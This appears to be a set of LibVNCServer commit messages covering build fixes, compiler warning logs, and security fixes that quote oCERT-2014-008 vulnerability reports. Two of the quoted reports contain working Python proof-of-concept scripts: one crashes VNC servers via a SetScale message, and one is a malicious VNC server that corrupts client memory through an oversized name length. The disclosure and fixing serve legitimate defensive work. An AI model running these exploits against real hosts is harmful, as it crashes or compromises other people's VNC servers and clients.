prevent segfaults due to uninitialized memory

configure.ac: Use AC_CHECK_TOOL for cross-compiling support.

When cross-compiling the ar program has the appropriate prefix prepended.
Respect that here and have autotools autodetect the appropriate tool.

Replace SHA1 implementation with the one from RFC 6234.

fixing SOVERSION and .so VERSION

Fix handling of multiple VNC commands per websockets frame

- When processing input, check if there is any extra data
  pending in the internal websocket frame and SSL buffers.
- Prevents input events lagging behind because they get
  stuck in one of the buffers.
  Data pending in our own buffers cannot be detected with
  select() so was not processed until more input arrives
  from the network.
- Closes # 55
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

Only advertise xvp support when xvpHook is set

Prevent that clients show "reboot" "power down" buttons
that are not going to work.
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

Initialize libgcrypt before use

https://www.gnupg.org/documentation/manuals/gcrypt/Initializing-the-library.html
"Before the library can be used, it must initialize itself.
This is achieved by invoking the function gcry_check_version"

Closes issue #45
Tested with krdc + libgcrypt 1.6.1 (libgcrypt20-dev Ubunutu package)
connecting to a Mac Mini.
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

tls_openssl.c: define _XOPEN_SOURCE for extra POSIX functionality

On some systems pthread_mutexattr_settype() and PTHREAD_MUTEX_RECURSIVE are
not available by default.
Either _XOPEN_SOURCE or _POSIX_C_SOURCE needs to be set to to the right level
before including any system include file in order to have them exposed.

Fixes the following compile error:

==
tls_openssl.c: In function 'dyn_create_function':
tls_openssl.c:91:2: warning: implicit declaration of function 'pthread_mutexattr_settype' [-Wimplicit-function-declaration]
  MUTEX_INIT(value->mutex);
  ^
tls_openssl.c:42:40: error: 'PTHREAD_MUTEX_RECURSIVE' undeclared (first use in this function)
  pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\
                                        ^
tls_openssl.c:91:2: note: in expansion of macro 'MUTEX_INIT'
  MUTEX_INIT(value->mutex);
  ^
tls_openssl.c:42:40: note: each undeclared identifier is reported only once for each function it appears in
  pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\
                                        ^
tls_openssl.c:91:2: note: in expansion of macro 'MUTEX_INIT'
  MUTEX_INIT(value->mutex);
  ^
tls_openssl.c: In function 'InitializeTLS':
tls_openssl.c:42:40: error: 'PTHREAD_MUTEX_RECURSIVE' undeclared (first use in this function)
  pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\
                                        ^
tls_openssl.c:156:5: note: in expansion of macro 'MUTEX_INIT'
     MUTEX_INIT(mutex_buf[i]);
     ^
tls_openssl.c: In function 'ssl_verify':
tls_openssl.c:177:7: warning: variable 'err' set but not used [-Wunused-but-set-variable]
   int err, i;
       ^
tls_openssl.c:176:14: warning: variable 'client' set but not used [-Wunused-but-set-variable]
   rfbClient *client;
              ^
make[3]: *** [tls_openssl.lo] Error 1
==
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

Fix libva related compile errors

Fixes the following compiler warnings.

gtkvncviewer:

==
  CC       gtkvncviewer-gtkvncviewer.o
gtkvncviewer.c: In function ‘GtkDefaultLog’:
gtkvncviewer.c:591:2: warning: format not a string literal and no format arguments [-Wformat-security]
  fprintf (stdout, buf);
  ^
==

libvncclient:

==
  CC       rfbproto.lo
In file included from rfbproto.c:2376:0:
zrle.c: In function 'HandleZRLE8':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile8' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2385:0:
zrle.c: In function 'HandleZRLE16':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile16' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2387:0:
zrle.c: In function 'HandleZRLE15':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile15' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2396:0:
zrle.c: In function 'HandleZRLE32':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile32' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2398:0:
zrle.c: In function 'HandleZRLE24':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2401:0:
zrle.c: In function 'HandleZRLE24Down':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Down' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:40:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
                                 ^
rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
 #define CONCAT3(a,b,c) a##b##c
                        ^
zrle.c:40:24: note: in expansion of macro 'CONCAT3E'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2404:0:
zrle.c: In function 'HandleZRLE24Up':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Up' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:43:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
                                 ^
rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
 #define CONCAT3(a,b,c) a##b##c
                        ^
zrle.c:43:24: note: in expansion of macro 'CONCAT3E'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
==
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

- Make h264.c compile with recent libva version by including va_compat.h
- Only enable libva if libva-x11 is installed
- Modified configure help text
  Previous help text suggested libva was only build when --with-libva
  was specified, while actual behavior is to build it by default.

Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
Also no attempt is made to support platforms not using X11
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

Reported by Ken Johnson <Ken.Johnson1@telus.com>.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
        rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
        if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); << Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x>>i)&1)<<(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py <host> <port> [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---

Fix selData.buttonWidth calculation

Operator "+" has a higher priority than "? :"

This fixes the following oCERT report (oCERT-2014-008 pt.2):

There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.

Field             Size
---------------------------------
name-length [4]
name-string  [name-length]

Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.

I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.

Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.

import socket,struct,sys

HOST = ""
PORT =  5900

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)

conn,addr = c.accept()
print "Connected by ", addr

protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)

data = conn.recv(1024) # Receive the version from them.

secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)

data = conn.recv(1024) # Receive the secType choice from them.

secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)

data = conn.recv(1024) # Receive the ClientInit (Shared-flag).

frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM =  0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"

conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )

c.close()

Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):

LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length

It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.

  case rfbServerCutText:
  {
    char *buffer;

    if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
			   sz_rfbServerCutTextMsg - 1))
      return FALSE;

    msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length

    buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0

    if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
      return FALSE;

    buffer[msg.sct.length] = 0; << Attempt to write to buffer

    if (client->GotXCutText)
      client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer

    free(buffer);

    break;
  }

If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.

Add autoconf macros that might not be installed with a usual autotools setup